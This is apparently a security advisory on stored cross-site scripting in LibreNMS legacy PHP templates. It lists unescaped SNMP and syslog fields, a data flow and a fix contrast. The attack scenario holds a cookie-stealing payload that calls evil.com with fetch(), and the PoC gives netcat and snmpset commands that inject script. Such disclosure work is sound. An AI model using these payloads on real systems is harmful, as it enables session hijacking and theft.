LibreNMS — Stored XSS via SNMP/Syslog Data in Legacy Templates

Summary

## Summary Multiple legacy PHP template files in LibreNMS directly output SNMP-sourced and syslog-sourced data into HTML without escaping. An attacker who controls a monitored network device (via compromised SNMP agent or syslog sender) can inject arbitrary JavaScript that executes when any authenticated LibreNMS user views the affected pages. ## Vulnerable Code ### Location 1: Syslog `program` field (clearest instance) **File:** `includes/html/print-syslog.inc.php:11,13` ```php $syslog_output .= '<td><strong>' . $entry['program'] . ' : </strong> ' . htmlspecialchars((string) $entry['msg']) . '</td>'; ``` The `program` field is output without `htmlspecialchars()` while the adjacent `msg` field IS properly escaped. The `program` value comes from syslog messages received from monitored devices. ### Location 2: Alert details `ifAlias` (highest impact — main alerts page) **File:** `includes/html/functions.inc.php:607` ```php $fault_detail .= $tmp_alerts['ifAlias'] . '; '; ``` The `ifAlias` (port description) comes from SNMP polling and is stored in the `ports` table. When a port-related alert fires, `format_alert_details()` renders it unescaped. Multiple other fields in this function are also unescaped: `isisISAdjIPAddrAddress` (line 598), `service_desc`/`service_message` (lines 656,658), `bgpPeerDescr` (line 672), `mempool_descr` (line 686), `app_type` (line 709). ### Location 3: Health pages — `mempool_descr`, `storage_descr`, `sensor_descr` **File:** `includes/html/pages/device/health/mempool.inc.php:38` ```php echo "<h3 class='panel-title'>{$mempool->mempool_descr} ..."; ``` **File:** `includes/html/pages/device/health/storage.inc.php:27` ```php echo "<h3 class='panel-title'>{$drive['storage_descr']} ..."; ``` **File:** `includes/html/pages/device/health/sensors.inc.php:29` ```php echo "<h3 class='panel-title'>$sensor_descr ..."; ``` All three health page templates output SNMP-polled descriptions directly into `<h3>` tags without escaping. ### Location 4: Pseudowires `ifAlias` **File:** `includes/html/pages/pseudowires.inc.php:76` ```php echo "<tr ...><td colspan=2>" . $pw_a['ifAlias'] . '</td><td colspan=2>' . $pw_b['ifAlias'] . '</td></tr>'; ``` ### Location 5: VRF page `ifAlias` **File:** `includes/html/pages/routing/vrf.inc.php:165` ```php echo "<div style='font-size: 9px;'>" . substr((string) short_port_descr($port['ifAlias']), 0, 22) . '</div>'; ``` ## Data Flow ``` Attacker-controlled SNMP device/syslog source → SNMP polling stores ifAlias/mempool_descr/etc in DB (no sanitization on write) → OR syslog receiver stores program field in syslog table → Authenticated user views alerts/health/syslog page → Legacy PHP template echoes raw value into HTML → XSS executes in victim's browser session ``` ## Attack Scenario 1. Attacker compromises or controls a network device monitored by LibreNMS 2. Attacker configures the device's SNMP interface description (ifAlias) to: `<img src=x onerror="fetch('https://evil.com/'+document.cookie)">` 3. LibreNMS polls the device via SNMP and stores the malicious ifAlias in the `ports` table 4. When any alert fires for this port, the XSS payload executes for every authenticated user viewing the alerts page 5. Alternatively: attacker sends syslog messages with XSS in the program field, targeting the syslog viewer page ## PoC ### Syslog vector (simplest) ```bash # Send syslog message with XSS in program field # Assuming LibreNMS syslog receiver is at 10.0.0.1:514 echo '<14>Mar 20 12:00:00 rogue-device <img/src=x onerror=alert(document.domain)>: test message' | nc -u 10.0.0.1 514 ``` ### SNMP vector ```bash # On attacker-controlled SNMP device, set interface description: # snmpset -v2c -c private localhost IF-MIB::ifAlias.1 s '<img src=x onerror=alert(document.cookie)>' # LibreNMS will poll this during next discovery/polling cycle ``` ## Contrast with Properly Escaped Code Newer Blade templates and some legacy code properly escape SNMP data: - `includes/html/dev-overview-data.inc.php` uses `Clean::html()` for sysDescr, sysName, hardware - `app/Http/Controllers/Device/Tabs/PortsController.php` uses `htmlentities()` on ifAlias - `app/Http/Controllers/Table/EventlogController.php:97` uses `htmlspecialchars()` on message - All Blade templates use `{{ }}` auto-escaping The vulnerability exists specifically in the legacy `includes/html/` PHP files that have not been migrated to Blade.